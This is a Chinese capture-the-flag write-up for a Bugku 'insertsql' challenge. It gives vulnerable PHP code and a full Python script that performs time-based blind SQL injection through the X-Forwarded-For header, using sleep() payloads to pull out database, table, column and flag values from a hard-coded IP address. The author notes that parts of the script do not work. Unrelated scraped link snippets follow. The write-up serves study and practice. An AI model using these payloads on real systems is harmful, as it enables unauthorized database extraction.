题目链接

0X00题目给出的PHP代码

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0]; } $host="localhost";
$user="";
$pass="";
$db=""; $connect = mysql_connect($host, $user, $pass) or die("Unable to connect"); mysql_select_db($db) or die("Unable to select database"); $ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')"; //将得到的IP插入到数据库
mysql_query($sql);

0x01 insert sql漏洞

将消息插入数据库

一般出现地方:电商生成订单接口存在INSERT型SQL注入漏洞,可修改订单金额数据,生成订单时会往数据库插入数据,但此处使用了动态查询语句的方式进行插入,通过注入数据可以达到篡改订单数据的目的

本题注入点X_FORWARDED_FOR

0x02 Python 脚本:

 import requests
import sys
import string def getdblen(url): #获得库名长度
sql="1'+(select case when(select length(database())={0}) then sleep(4) else 1 end) and '1'='1"
for i in range(1,50):
header={'X-Forwarded-For':sql.format(str(i))}
try:
s=requests.get(url,headers=header,timeout=3)
except:
print("database name len:",i)
break def gettablelen(url): #获得数据表名长度 没有输出 不知道错误在哪 很烦~~,查不到错误。有没有limit 都没有输出
#limit的作用是查询到好几行数据,选取其中的几行 limit 1,1就是 第二行一行的数据(从0开始计算行数)
sql="'+(select case when(select length((select table_name from information_schema.tables where table_schema=database() limit {0},1))={1}) then sleep(4) else 1 end) and '1'='1"
for n in range(0,5):
for i in range(1,20):
header={'X-Forwarded-For':sql.format(str(n),str(i))}
try:
s=requests.get(url,headers=header,timeout=3)
except:
print("table %s name len:%d"%(n,i))
break def getdb(url):
database_name=''
sql="1' and (case when (substr((select database()) from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
#逐个字母破解数据库名,{0}、{1}相当于标记了两处变量,用于下面的format语句
for i in range(1,10): #猜测数据库名字在9个字符以内
for str in range(32,129): #通过循环,逐个字母匹配
if chr==128:
sys.exit(0)#如果没有匹配,就退出循环
header={'X-Forwarded-For':sql.format(i,chr(str))}
try:
s=requests.get(url,headers=header,timeout=3)
except:
database_name+=chr(str)
print(database_name)
break
return database_name def gettable(url):
table_name=''
payload="'+(select case when (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
for i in range(1,50):
#print(i)
for str in guess:
if ord(str)==128:
sys.exit(0)
header={'X-Forwarded-For':payload.format(i,str)}
try:
s=requests.get(url,headers=header,timeout=3)
except:
table_name+=str
print(table_name)
break
return table_name def getcolumn(url):
column_name=''
sql="'+(select case when (substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
#guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
for i in range(20):
for str in range(32,129):
if str==128:
sys.exit(0)
payload={'X-Forwarded-For':sql.format(i,chr(str))}
try:
s=requests.get(url,headers=payload,timeout=3)
except:
column_name+=chr(str)
print(column_name)
break
return column_name def getmessage(url):
message=''
sql="'+(select case when(substr((select group_concat(flag) from flag)from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
for i in range(1,35):
for str in range(32,129):
if str==128:
sys.exit(0)
payload={'X-Forwarded-For':sql.format(i,chr(str))}
try:
s=requests.get(url,headers=payload,timeout=3)
except:
message+=chr(str)
print(message)
break
return message if __name__=='__main__':
url="http://123.206.87.240:8002/web15/"
print(getdb(url))
#tablename = gettable(url)
#print(tablename)
#columname = getcolumn(url)
#message=getmessage(url) #print(temp.lower())
#getdblen(url)
#gettablelen(url)
#getdb(url)

代码借鉴了其他人的wp,并加上自己的一点想法,查询名长度等

总结:要加强写脚本的能力,多学习mysql语句,有好几个语句是因为不对才没有注入成功的。

bugku insertsql的更多相关文章

  1. bugku login2 writeup 不使用vps的方法

    0x00前言 这个题是sql注入与命令执行相结合的一个题,思路有两个: 一.:sql注入登录web系统,命令执行反弹公网IP监听端口(需要vps),此种方法详见链接:http://www.bugku. ...

  2. bugku 密码学一些题的wp

    ---恢复内容开始--- 1.滴答滴 摩斯密码,http://tool.bugku.com/mosi/ 2.聪明的小羊 从提示猜是栅栏密码,http://tool.bugku.com/jiemi/ 3 ...

  3. 于bugku中游荡意外得到关于CBC翻转攻击思路

    个人简介:渣渣一枚,萌新一个,会划水,会喊六六今天在bugku遇到关于CBC翻转攻击的题目,总结了一下关于CBC翻转攻击的原理,以及关于这道题目的解题思路个人博客:https://www.cnblog ...

  4. http://www.bugku.com:Bugku——PHP伪协议+魔幻函数+序列化的综合应用(http://120.24.86.145:8006/test1/)

      这一道题目,幸好俺有基础知识护体,不然还真干不掉.     首先,登录看题目,取消隐藏代码的注释.可知可输入三个参数txt.file和password并进行逻辑判断:应该让txt==‘welcom ...

  5. http://www.bugku.com:Bugku——备份是个好习惯(http://120.24.86.145:8002/web16/)

      看了bugku的这道题,陌生又熟悉.     题目首先说[备份是个好习惯],访问网站只有一串字符,,,,,emmmmm,这句话表明人家经常做备份,所以咯,肯定在网站哪里备份有网页信息.嘻嘻   1 ...

  6. http://www.bugku.com:Bugku——jsfuckWEB5(http://120.24.86.145:8002/web5/index.php)

      今天又做了bugku上面的一道题.使用到了jsfuck,它是什么捏?   它是Javascript原子化的一种简易表达方式,用[]()!+就可以表示所有的Javascript字符,不依赖于浏览器. ...

  7. http://www.bugku.com:Bugku——SQL注入1(http://103.238.227.13:10087/)

    Bugku——SQL注入1(http://103.238.227.13:10087/) 过滤了几乎所有的关键字,尝试绕过无果之后发现,下面有个xss过滤代码.经搜索得该函数会去掉所有的html标签,所 ...

  8. Bugku——Flag在index里(http://120.24.86.145:8005/post/)

    Bugku——Flag在index里(http://120.24.86.145:8005/post/) 进入题目发现有一个file参数,查看源码,发现该参数可以包含php文件,并且题目提示,flag在 ...

  9. BugKu 2B+基于python的opencv的安装-------CTF 盲水印的套路

    BugKu杂项-2B 下载图片后,binwalk下跑一跑,发现有个zip,分离. 值得一提的是,这个zip是伪加密的. 但是你在分离的时候,伪加密的图片也给你分离出来了.这两个图片2B和B2肉眼看起来 ...

随机推荐

  1. 201871010112-梁丽珍《面向对象程序设计(java)》第八周学习总结

    项目 内容 这个作业属于哪个课程 https://www.cnblogs.com/nwnu-daizh/ 这个作业的要求在哪里 https://www.cnblogs.com/nwnu-daizh/p ...

  2. 201871010101-陈来弟《面向对象程序设计(Java)》第八周学习总结

    实验七 接口的定义与使用 第一部分:理论知识 一.接口.lambda和内部类:  Comparator与comparable接口: 1.comparable接口的方法是compareTo,只有一个参数 ...

  3. 开放接口的安全验证方案(AES+RSA)

    http://wubaoguo.com/2015/08/21/%E5%BC%80%E6%94%BE%E6%8E%A5%E5%8F%A3%E7%9A%84%E5%AE%89%E5%85%A8%E9%AA ...

  4. 点云深度学习的3D场景理解

    转载请注明本文链接: https://www.cnblogs.com/Libo-Master/p/9759130.html PointNet: Deep Learning on Point Sets ...

  5. streamsets 官方默认镜像中文支持问题

    以前在测试streamsets 的时候就发现中文乱码,后边也每太注意,以为支持问题,今天跑了下单元 测试代码,以及使用本机运行,发现都没有问题,然后运行以前的配置,使用jjs 发现模式的编码为 ANS ...

  6. 中移物联网Java面试-社招-三面(2019/07)

    个人情况 2017年毕业,普通本科,计算机科学与技术专业,毕业后在一个二三线小城市从事Java开发,2年Java开发经验.做过分布式开发,没有高并发的处理经验,平时做To G的项目居多.写下面经是希望 ...

  7. [BZOJ1852] [MexicoOI06]最长不下降序列

    [BZOJ1852] [MexicoOI06]最长不下降序列 额我也不知道是不是水过去的...和网上的另一篇题解对拍过了,但是拍不出来... 经过和神仙的讨论基本可以确定是对的了 考虑如下贪心 (我将 ...

  8. JVM系列之六:内存溢出、内存泄漏 和 栈溢出

    1. OOM && SOF OutOfMemoryError异常: 除了程序计数器外,虚拟机内存的其他几个运行时区域都有发生OutOfMemoryError(OOM)异常的可能, 内存 ...

  9. EFCore代码实践

    参考:https://www.cnblogs.com/Wddpct/p/6835574.html 控制台程序依赖注入参考:https://www.cnblogs.com/Wddpct/p/721920 ...

  10. MYSQL插入千万数据的工具类

    建表语句 CREATE TABLE `test_id` ( `id` int(10) NOT NULL AUTO_INCREMENT COMMENT '主键自增非空', `name` varchar( ...